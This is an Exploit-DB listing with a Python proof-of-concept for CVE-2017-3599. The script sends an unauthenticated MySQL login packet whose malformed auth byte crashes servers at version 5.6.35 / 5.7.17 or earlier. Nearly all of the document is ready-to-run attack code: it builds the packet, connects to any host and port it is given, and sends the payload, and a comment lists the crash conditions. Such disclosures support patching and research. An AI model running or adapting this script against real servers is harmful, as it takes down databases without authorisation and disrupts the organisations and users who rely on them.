MySQL <= 5.6.35 / <= 5.7.17 - Integer Overflow

EDB-ID: 41954
Author: Rodrigo Marcos
Published: 2017-05-01
CVE: CVE-2017-3599
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Denial of Service (DoS), Integer Overflow
Vulnerable App: N/A

 # Source: https://raw.githubusercontent.com/SECFORCE/CVE-2017-3599/master/cve-2017-3599_poc.py 
# Exploit Title: Remote MySQL DOS (Integer Overflow)
# Google Dork: N/A
# Date: 13th April 2017
# Exploit Author: Rodrigo Marcos
# Vendor Homepage: https://www.mysql.com/
# Software Link: https://www.mysql.com/downloads/
# Version: 5.6.35 and below / 5.7.17 and below
# Tested on: N/A
# CVE : CVE-2017-3599
'''

import socket
import sys
from struct import pack

'''
CVE-2017-3599 Proof of Concept exploit code.

https://www.secforce.com/blog/2017/04/cve-2017-3599-pre-auth-mysql-remote-dos/

Rodrigo Marcos

'''

if len(sys.argv)<2:

print "Usage: python " + sys.argv[0] + " host [port]"
exit(0)

else:
HOST = sys.argv[1]

if len(sys.argv)>2:
PORT = int(sys.argv[2]) # Yes, no error checking... living on the wild side!
else:
PORT = 3306

print "[+] Creating packet..."

'''
3 bytes Packet lenth
1 bytes Packet number

Login request:

Packet format (when the server is 4.1 or newer):

Bytes Content
----- ----
4 client capabilities
4 max packet size
1 charset number
23 reserved (always 0)
n user name, \0-terminated
n plugin auth data (e.g. scramble), length encoded
n database name, \0-terminated
(if CLIENT_CONNECT_WITH_DB is set in the capabilities)
n client auth plugin name - \0-terminated string,
(if CLIENT_PLUGIN_AUTH is set in the capabilities)

'''

# packet_len = '\x64\x00\x00'

packet_num = '\x01'

#Login request packet
packet_cap = '\x85\xa2\xbf\x01' # client capabilities (default)
packet_max = '\x00\x00\x00\x01' # max packet size (default)
packet_cset = '\x21' # charset (default)
p_reserved = '\x00' * 23 # 23 bytes reserved with nulls (default)
packet_usr = 'test\x00' # username null terminated (default)

packet_auth = '\xff' # both \xff and \xfe crash the server

'''
Conditions to crash:

1 - packet_auth must start with \xff or \xfe
2 - packet_auth must be shorter than 8 chars

The expected value is the password, which could be of two different formats
(null terminated or length encoded) depending on the client functionality.
'''

packet = packet_cap + packet_max + packet_cset + p_reserved + packet_usr + packet_auth
packet_len = pack('i',len(packet))[:3]

request = packet_len + packet_num + packet

print "[+] Connecting to host..."
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print "[+] Connected."

except:
print "[+] Unable to connect to host " + HOST + " on port " + str(PORT) + "."
s.close()
print "[+] Exiting."
exit(0)

print "[+] Receiving greeting from remote host..."
data = s.recv(1024)
print "[+] Done."

print "[+] Sending our payload..."
s.send(request)
print "[+] Done."
#print "Our data: %r" % request

s.close()

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